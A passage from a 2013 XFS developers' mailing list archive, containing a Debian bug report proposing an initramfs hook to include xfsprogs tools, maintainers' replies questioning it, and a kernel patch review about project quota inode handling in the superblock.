Tags: patch Dear Maintainer, If your rootfs is XFS (I hope it is :) ), you should include some XFS tools into initrd. It would be handy in emergency situation. E.g. will help you to boot your domU. Log from the Xen console: Begin: Running /scripts/local-bottom ... done. done. Begin: Running /scripts/init-bottom ... done. INIT: version 2.88 booting [info] Using makefile-style concurrent boot in runlevel S. [ ok ] Starting the hotplug events dispatcher: udevd. [ ok ] Synthesizing the initial hotplug events...done. [ ok ] Waiting for /dev to be fully populated...done. [ ok ] Activating swap...done. [....] Checking root file system...fsck from util-linux 2.20.1 fsck: fsck.xfs: not found fsck: error 2 while executing fsck.xfs for /dev/xvda2 fsck died with exit status 8 failed (code 8). [....] An automatic file system check (fsck) of the root filesystem failed. A manual fsck must be performed, then the system restarted. The fsck should be performed in maintenance mo[FAILth the root filesystem mounted in read-only mode. ... failed! [....] The root filesystem is currently mounted in read-only mode. A maintenance shell will now be started. After performing system maintenance, press CONTROL-D to terminate the main[warnce shell and restart the system. ... (warning). Give root password for maintenance (or type Control-D to continue): -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 3.9-1-amd64 (SMP w/2 CPU cores) Locale: LANG=sk_SK, LC_CTYPE=sk_SK.UTF-8 (charmap=ANSI_X3.4-1968) (ignored: LC_ALL set to C) Shell: /bin/sh linked to /bin/dash Versions of packages xfsprogs depends on: ii libblkid1 2.20.1-5.4 ii libc6 2.17-7 ii libreadline5 5.2+dfsg-2 ii libuuid1 2.20.1-5.4 xfsprogs recommends no packages. Versions of packages xfsprogs suggests: ii acl 2.2.52-1 pn attr pn quota pn xfsdump -- no debconf information -- http://blog.hostname.sk/ debianbug --001a11c2297a235b4404e0a17813 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
    Package: xfsprogs
    Version: 3.1.9
    = Severity: minor
    Tags: patch

    Dear Maintai= ner,

    If your rootfs is XFS (I hope it is :) = ), you should include some XFS tools into initrd.
    It would be handy in emergency situation. E.g. will help you to = boot your domU.

    Log from the Xen conso= le:

    Begin: Running /scripts/local= -bottom ... done.
    done.
    Begin: Running /scripts/init-bottom ... done.
    INIT: version 2.88 booting
    [info] Using makefile-style co= ncurrent boot in runlevel S.
    [ ok ] Starting the hotplug events d= ispatcher: udevd.
    [ ok ] Synthesizing the initial hotplug events...done.
    [ ok = ] Waiting for /dev to be fully populated...done.
    [ ok ] Activatin= g swap...done.
    [....] Checking root file system...fsck from util-= linux 2.20.1
    fsck: fsck.xfs: not found
    fsck: error 2 while executing fsck= .xfs for /dev/xvda2
    fsck died with exit status 8
    failed= (code 8).
    [....] An automatic file system check (fsck) of the ro= ot filesystem failed. A manual fsck must be performed, then the system rest= arted. The fsck should be performed in maintenance mo[FAILth the root files= ystem mounted in read-only mode. ... failed!
    [....] The root filesystem is currently mounted in read-only mode. A m= aintenance shell will now be started. After performing system maintenance, = press CONTROL-D to terminate the main[warnce shell and restart the system. = ... (warning).
    Give root password for maintenance
    (or type Control-D to con= tinue):


    -- System Infor= mation:
    Debian Release: jessie/sid
    =C2=A0 APT prefers u= nstable
    =C2=A0 APT policy: (500, 'unstable')
    Architecture: a= md64 (x86_64)

    Kernel: Linux 3.9-1-amd64 (SMP w/2 C= PU cores)
    Locale: LANG=3Dsk_SK, LC_CTYPE=3Dsk_SK.UTF-8 (charmap= =3DANSI_X3.4-1968) (ignored: LC_ALL set to C)
    Shell: /bin/sh linked to /bin/dash

    Versions o= f packages xfsprogs depends on:
    ii =C2=A0libblkid1 =C2=A0 =C2=A0 = 2.20.1-5.4
    ii =C2=A0libc6 =C2=A0 =C2=A0 =C2=A0 =C2=A0 2.17-7
    ii =C2=A0libreadline5 =C2=A05.2+dfsg-2
    ii =C2=A0libuuid1 =C2=A0 =C2=A0 =C2=A02.20.1-5.4

    <= div>xfsprogs recommends no packages.

    Versions of p= ackages xfsprogs suggests:
    ii =C2=A0acl =C2=A0 =C2=A0 =C2=A02.2.5= 2-1
    pn =C2=A0attr =C2=A0 =C2=A0 <none>
    pn =C2=A0quota =C2=A0 =C2=A0<none>
    pn =C2=A0xfsdump = =C2=A0<none>

    -- no debconf information
    =


    --
    http://blog.hostname.sk/debianbug
    --001a11c2297a235b4404e0a17813-- --001a11c2297a235b4904e0a17815 Content-Type: text/plain; charset=US-ASCII; name="initramfs-tools.hooks.xfsprogs.txt" Content-Disposition: attachment; filename="initramfs-tools.hooks.xfsprogs.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hiozn7t70 IyEvYmluL3NoCgpQUkVSRVE9IiIKCnByZXJlcXMoKQp7CgllY2hvICIkUFJFUkVRIgp9CgpjYXNl ICQxIGluCnByZXJlcXMpCglwcmVyZXFzCglleGl0IDAKCTs7CmVzYWMKCmlmIFsgISAteCAvc2Jp bi94ZnNfcmVwYWlyIF07IHRoZW4KCWV4aXQgMApmaQoKLiAvdXNyL3NoYXJlL2luaXRyYW1mcy10 b29scy9ob29rLWZ1bmN0aW9ucwoKZm9yIHggaW4geGZzX2NvcHkgeGZzX2RiIHhmc19hZG1pbiB4 ZnNfY2hlY2sgeGZzX25jaGVjayB4ZnNfbWV0YWR1bXAgeGZzX2VzdGltYXRlIHhmc19mc3IgeGZz X2dyb3dmcyB4ZnNfaW5mbyB4ZnNfaW8geGZzX2JtYXAgeGZzX2ZyZWV6ZSB4ZnNfbWtmaWxlIHhm c19sb2dwcmludCB4ZnNfcXVvdGEgeGZzX21kcmVzdG9yZSB4ZnNfcnRjcDsgZG8KCWNvcHlfZXhl YyAvdXNyL3NiaW4vJHgKZG9uZQpjb3B5X2V4ZWMgL3NiaW4veGZzX3JlcGFpcgpjb3B5X2V4ZWMg L3NiaW4vbWtmcy54ZnMKCmNwIC1wIC9zYmluL21rZnMueGZzICIke0RFU1RESVJ9L3NiaW4iCmNw IC1wIC9zYmluL2ZzY2sueGZzICIke0RFU1RESVJ9L3NiaW4iCgpmb3IgeCBpbiBsaWJjcmMzMmMg eGZzOyBkbwoJbWFudWFsX2FkZF9tb2R1bGVzICR7eH0KZG9uZQo= --001a11c2297a235b4904e0a17815-- From sandeen@sandeen.net Wed Jul 3 16:26:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 954B37CBF for ; Wed, 3 Jul 2013 16:26:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 167AFAC00A for ; Wed, 3 Jul 2013 14:26:08 -0700 (PDT) X-ASG-Debug-ID: 1372886765-04cbb0468fb105c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id gGWlSCg9pLsbl2Lz for ; Wed, 03 Jul 2013 14:26:05 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from [192.168.43.41] (unknown [24.114.85.149]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4E7A965B094D; Wed, 3 Jul 2013 16:26:02 -0500 (CDT) Message-ID: <51D496EA.7030008@sandeen.net> Date: Wed, 03 Jul 2013 17:26:02 -0400 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Lubomir Host CC: XFS Development Team Subject: Re: xfsprogs should provide hook script for initramfs-tools References: X-ASG-Orig-Subj: Re: xfsprogs should provide hook script for initramfs-tools In-Reply-To: X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1372886765 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135721 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/3/13 4:40 PM, Lubomir Host wrote: > Package: xfsprogs > Version: 3.1.9 > Severity: minor > Tags: patch > > Dear Maintainer, > > If your rootfs is XFS (I hope it is :) ), you should include some XFS tools into initrd. > It would be handy in emergency situation. E.g. will help you to boot your domU. > > Log from the Xen console: > > Begin: Running /scripts/local-bottom ... done. > done. > Begin: Running /scripts/init-bottom ... done. > INIT: version 2.88 booting > [info] Using makefile-style concurrent boot in runlevel S. > [ ok ] Starting the hotplug events dispatcher: udevd. > [ ok ] Synthesizing the initial hotplug events...done. > [ ok ] Waiting for /dev to be fully populated...done. > [ ok ] Activating swap...done. > [....] Checking root file system...fsck from util-linux 2.20.1 > fsck: fsck.xfs: not found Quite honestly, this should not be a hard failure. I'd call this a bug in whatever infrastructure has decided to fail boot for lack of a no-op binary (i.e. fsck.xfs). > fsck: error 2 while executing fsck.xfs for /dev/xvda2 > fsck died with exit status 8 > failed (code 8). > [....] An automatic file system check (fsck) of the root filesystem > failed. A manual fsck must be performed, then the system restarted. > The fsck should be performed in maintenance mo[FAILth the root > filesystem mounted in read-only mode. ... failed! Failed all right, but there's no reason to fail boot for this. Anyway - I had looked into including the $FOO.d/$BAR.conf files required to include xfs bits, but at least in Fedora, it already pulled in the right bits. So yes, indicating xfs_repair, xfs_db, xfs_metadump for initramfs would probably be a fine idea for distros that don't do it by default, but failing boot for lack of fsck.xfs is awfully harsh. This might be a per-distro-package thing, if Debian needs different hints than Fedora, etc, to get a working boot-time environment? -Eric > [....] The root filesystem is currently mounted in read-only mode. A > maintenance shell will now be started. After performing system > maintenance, press CONTROL-D to terminate the main[warnce shell and > restart the system. ... (warning).> Give root password for maintenance > (or type Control-D to continue): > > > -- System Information: > Debian Release: jessie/sid > APT prefers unstable > APT policy: (500, 'unstable') > Architecture: amd64 (x86_64) > > Kernel: Linux 3.9-1-amd64 (SMP w/2 CPU cores) > Locale: LANG=sk_SK, LC_CTYPE=sk_SK.UTF-8 (charmap=ANSI_X3.4-1968) (ignored: LC_ALL set to C) > Shell: /bin/sh linked to /bin/dash > > Versions of packages xfsprogs depends on: > ii libblkid1 2.20.1-5.4 > ii libc6 2.17-7 > ii libreadline5 5.2+dfsg-2 > ii libuuid1 2.20.1-5.4 > > xfsprogs recommends no packages. > > Versions of packages xfsprogs suggests: > ii acl 2.2.52-1 > pn attr > pn quota > pn xfsdump > > -- no debconf information > > > -- > http://blog.hostname.sk/ debianbug > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Wed Jul 3 18:13:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D0D6B7CBF for ; Wed, 3 Jul 2013 18:13:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A66D48F8037 for ; Wed, 3 Jul 2013 16:12:58 -0700 (PDT) X-ASG-Debug-ID: 1372893173-04bdf0233fb2d6e0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id MCUuBs0n2KmxrnJo for ; Wed, 03 Jul 2013 16:12:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ai4NAAGv1FF5LNm+/2dsb2JhbABagwmDGrhwhSUEAYEIF3SCIwEBBAE6HCMFCwgDGAklDwUlAyETiAkFuj0WjjiBHQeDbQOXSJFGgyMq Received: from ppp121-44-217-190.lns20.syd7.internode.on.net (HELO dastard) ([121.44.217.190]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Jul 2013 08:42:51 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuWEA-0000aa-3k; Thu, 04 Jul 2013 09:12:46 +1000 Date: Thu, 4 Jul 2013 09:12:46 +1000 From: Dave Chinner To: Lubomir Host Cc: XFS Development Team Subject: Re: xfsprogs should provide hook script for initramfs-tools Message-ID: <20130703231246.GQ14996@dastard> X-ASG-Orig-Subj: Re: xfsprogs should provide hook script for initramfs-tools References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1372893173 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135727 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 03, 2013 at 10:40:16PM +0200, Lubomir Host wrote: > Package: xfsprogs > Version: 3.1.9 > Severity: minor > Tags: patch > > Dear Maintainer, > > If your rootfs is XFS (I hope it is :) ), you should include some XFS tools > into initrd. > It would be handy in emergency situation. E.g. will help you to boot your > domU. Debian doesn't include any filesystem utilities in the initramfs, not even the fsck binary. > Log from the Xen console: > > Begin: Running /scripts/local-bottom ... done. > done. > Begin: Running /scripts/init-bottom ... done. > INIT: version 2.88 booting > [info] Using makefile-style concurrent boot in runlevel S. > [ ok ] Starting the hotplug events dispatcher: udevd. > [ ok ] Synthesizing the initial hotplug events...done. > [ ok ] Waiting for /dev to be fully populated...done. > [ ok ] Activating swap...done. > [....] Checking root file system...fsck from util-linux 2.20.1 > fsck: fsck.xfs: not found > fsck: error 2 while executing fsck.xfs for /dev/xvda2 > fsck died with exit status 8 > failed (code 8). I don't see how this is initramfs problem - the root filesystem should be mounted read only at this point, and so all the fsck binaries should be available to the rcS.d scripts. Indeed, where did it find the fsck binary from? > . /usr/share/initramfs-tools/hook-functions > > for x in xfs_copy xfs_db xfs_admin xfs_check xfs_ncheck xfs_metadump xfs_estimate xfs_fsr xfs_growfs xfs_info xfs_io xfs_bmap xfs_freeze xfs_mkfile xfs_logprint xfs_quota xfs_mdrestore xfs_rtcp; do > copy_exec /usr/sbin/$x > done > copy_exec /sbin/xfs_repair > copy_exec /sbin/mkfs.xfs I don't think that's advisable: $ ldd /usr/sbin/xfs_db linux-vdso.so.1 (0x00007fff607fe000) libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007f98702fb000) librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f98700f3000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f986fed6000) libreadline.so.5 => /lib/x86_64-linux-gnu/libreadline.so.5 (0x00007f986fc95000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f986f8e8000) /lib64/ld-linux-x86-64.so.2 (0x00007f9870511000) libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f986f6be000) Those are not static binaries, and so cannot be used in a initramfs environment. They'd rely on the root filesystem being mounted read only and having all these libraries in the search path. And if you've got that, then you should also have the binaries themselves on the read-only root filesystem, yes? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 3 20:12:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5FCC47CBF for ; Wed, 3 Jul 2013 20:12:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4C294304059 for ; Wed, 3 Jul 2013 18:12:16 -0700 (PDT) X-ASG-Debug-ID: 1372900334-04cbb0468fb213b0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Eo1q2Lhe3nvTr1iU for ; Wed, 03 Jul 2013 18:12:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmINAAXL1FF5LNm+/2dsb2JhbABagwmDGrhwhSgEAYEKF3SCIwEBBAEnExwjBQsIAw4KCSUPBSUDIROICQW6OxaOExITgR0Hg20Dl0iRRoMjKoEtCBc Received: from ppp121-44-217-190.lns20.syd7.internode.on.net (HELO dastard) ([121.44.217.190]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Jul 2013 10:42:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuY5g-0000oq-FD; Thu, 04 Jul 2013 11:12:08 +1000 Date: Thu, 4 Jul 2013 11:12:08 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. Message-ID: <20130704011208.GR14996@dastard> X-ASG-Orig-Subj: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. References: <1372042107-27332-1-git-send-email-sekharan@us.ibm.com> <1372042107-27332-5-git-send-email-sekharan@us.ibm.com> <20130625063135.GU29376@dastard> <1372693830.9777.4.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372693830.9777.4.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1372900334 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135735 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 01, 2013 at 10:50:30AM -0500, Chandra Seetharaman wrote: > Hi Dave, > > I sent this email on 6/25 (just before my reply on 5/6 w.r.t adding the > test to xfstests). Since I didn't get any response from you on this and > got reply on the other one, I concluded that you accepted my > justification/clarification. > > I just looked at the archives and do not see my original email :(... but > is intact in my sent folder!! > > Please see if my justification below is valid. > > Chandra > > On Tue, 2013-06-25 at 16:31 +1000, Dave Chinner wrote: > > On Sun, Jun 23, 2013 at 09:48:25PM -0500, Chandra Seetharaman wrote: > > > Start using pquotino and define a macro to check if the > > > superblock has pquotino. > > > > > > Keep backward compatibilty by alowing mount of older superblock > > > with no separate pquota inode. > > > > > > Signed-off-by: Chandra Seetharaman > > > --- > > > fs/xfs/xfs_fsops.c | 3 +- > > > fs/xfs/xfs_mount.c | 51 +++++++++++++++++++++++++++++++-------- > > > fs/xfs/xfs_qm.c | 22 +++++++++-------- > > > fs/xfs/xfs_qm_syscalls.c | 24 ++++++++++++++++-- > > > fs/xfs/xfs_quota.h | 8 ------ > > > fs/xfs/xfs_sb.h | 16 +++++++++++- > > > fs/xfs/xfs_super.c | 14 ++++++---- > > > include/uapi/linux/dqblk_xfs.h | 1 + > > > 8 files changed, 99 insertions(+), 40 deletions(-) > > > > > > diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c > > > index 614eb0c..3bf05f4 100644 > > > --- a/fs/xfs/xfs_fsops.c > > > +++ b/fs/xfs/xfs_fsops.c > > > @@ -501,7 +501,8 @@ xfs_growfs_data_private( > > > error, agno); > > > break; > > > } > > > - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, XFS_SB_ALL_BITS); > > > + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, > > > + xfs_sb_all_bits(&mp->m_sb)); > > > > I think you could still pass XFS_SB_ALL_BITS to xfs_sb_to_disk(), > > and do the XFS_SB_PQUOTINO filtering inside xfs_sb_quota_to_disk(). > > > > Actually xfs_sb_all_bits() is only used here, and it seems to me > > that it is not necessary as we do a pquota support check inside > > xfs_sb_to_disk() and can handle this in that place... > > Yes, this is the only place that uses XFS_SB_ALL_BITS, and the purpose > is to copy over the superblock to secondary. > > The change I made ensures that the caller does what is correct. i.e if > it is copying an earlier version of superblock, it does not try to copy > the pquotino, and if it uses the newer version of superblock it copies > over the pquotino. The caller does not need to know anything about how the quota bits are encoded in the superblock. > At some point (in my internal tree) I did have the way you suggested. > But, doing it that way looked like a band-aid/hack, and felt this is the > right way to do it (since the caller should provide appropriate > information to the function). The caller should not have to know anything about the specific on-disk encoding the filesystem is currently using That's the reason for encapsulating such on-disk format conversion inside xfs_sb_to/from_disk(). Same with all the mount flags and so on - the differences between what the code uses and what is on disk is all encapsulated inside xfs_sb_quota_to/from_disk. IOWs, from the outside, XFS_SB_ALL_BITS is all a caller needs to pass into xfs_sb_to_disk() to get everything written to disk. Making the caller have to be aware of the on-disk format when the function being called is supposed to hide the details of the on-disk format from the callers is, well, a bit silly. > > > + if (*fields & XFS_SB_PQUOTINO) { > > > + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); > > > + *fields &= ~XFS_SB_PQUOTINO; > > > + } > > > > We will never do this because we've already cleared XFS_SB_PQUOTINO > > before we entered xfs_sb_to_disk(). That doesn't seem right to me... > > Yes, if we are using a version of superblock where pquotino should not > be used, we do not want to get into this block. Why not? this code is executing the conversion from in-memory format to the old on-disk format. This is exactly where such conversion should be handled. This code looks right, but if you strip XFS_SB_PQUOTINO at a high level, then it doesn't *ever* get used. > If we are using PQUOTA in the superblock, that inode information will be > in gquotino and will be converted over appropriately in > xfs_sb_to_disk(). Sorry, I don't follow. You mean OQUOTA, yes? Besides, all quota format conversions should be done in xfs_sb_quota_to_disk(), not split between that function and xfs_sb_to_disk()... > > > @@ -201,8 +201,7 @@ xfs_qm_scall_quotaoff( > > > /* > > > * If quotas is completely disabled, close shop. > > > */ > > > - if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || > > > - ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { > > > + if ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) { > > > mutex_unlock(&q->qi_quotaofflock); > > > xfs_qm_destroy_quotainfo(mp); > > > return (0); > > > > This makes the assumption that userspace passes all three quota > > types into the kernel in a single quota off call as the only way to > > turn quotas off completely. What happens if they are turned off one > > at a time? Shouldn't we detect when no more quotas are actually > > enabled and then do this? > > Yes, I agree that there is a difference in behavior if the user turns > off quota one-by-one Vs turns off all quota at once. But, the behavior > difference is not seen by the user space. And, I did not make the > change :) > > I just included project quota into the fold. Sure, but my point still stands - if userspace currently expects quota to be turned off by turning of user+group quota at the same time, or user+project quota at the same time, then this will no longer turn quotas off even if u/g or u/p were the only quotas enabled. It's an unexpected change of behaviour, especially for filesystems that don't support the separate pquota inode... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 3 20:35:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 640717CBF for ; Wed, 3 Jul 2013 20:35:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5412A8F8039 for ; Wed, 3 Jul 2013 18:35:34 -0700 (PDT) X-ASG-Debug-ID: 1372901732-04cbb0468fb22900001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id pLpiKeXJ0BIdlObR for ; Wed, 03 Jul 2013 18:35:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmINABvR1FF5LNm+/2dsb2JhbABagwmDGrhwhSgEAYEKF3SCIwEBBTocIxAIAw4KCSUPBSUDIROIDro8Fo44gR0Hg20Dl0iRRoMjKg Received: from ppp121-44-217-190.lns20.syd7.internode.on.net (HELO dastard) ([121.44.217.190]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Jul 2013 11:05:32 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuYSD-0000rA-Rc; Thu, 04 Jul 2013 11:35:25 +1000 Date: Thu, 4 Jul 2013 11:35:25 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v10 09/11] xfs: Start using pquotaino from the superblock. Message-ID: <20130704013525.GS14996@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 09/11] xfs: Start using pquotaino from the superblock. References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-10-git-send-email-sekharan@us.ibm.com> <20130701020634.GE27780@dastard> <1372701567.9777.164.camel@chandra-dt.ibm.com> <1372871528.9777.170.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372871528.9777.170.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1372901732 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135737 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 03, 2013 at 12:12:07PM -0500, Chandra Seetharaman wrote: > Hi Dave, > > Any comments ? Patience, please. Some of us have more than one problem to solve at a time. I've responded in the other thread. FWIW, I just found out that SGI are on holidays this week(*), so it will be next week before there's any chance of this being merged. You've got plenty of time to revise and repost it... ;) Cheers, Dave. (*) I'm a bit annoyed that maintainers didn't think to tell us that they would be absent this week. I've been wondering why they'd been silent since last Friday given the 3.11 merge window opened a few days ago... -- Dave Chinner david@fromorbit.com From tinguely@sgi.com Wed Jul 3 21:09:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 02E6D7CBF for ; Wed, 3 Jul 2013 21:09:14 -0500 (CDT) Received: from eagdhcp-232-133.americas.sgi.com (eagdhcp-232-133.americas.sgi.com [128.162.232.133]) by relay1.corp.sgi.com (Postfix) with ESMTP id C2B898F8039; Wed, 3 Jul 2013 19:09:10 -0700 (PDT) Message-ID: <51D4D946.70409@sgi.com> Date: Wed, 03 Jul 2013 21:09:10 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC] References: <1372657476-9241-1-git-send-email-david@fromorbit.com> In-Reply-To: <1372657476-9241-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/01/13 00:44, Dave Chinner wrote: > From: Dave Chinner > > Note: This is an RFC right now - it'll need to be broken up into > several patches for final submission. > > The CIL insertion during transaction commit currently does multiple > passes across the transaction objects and requires multiple memory > allocations per object that is to be inserted into the CIL. It is > quite inefficient, and as such 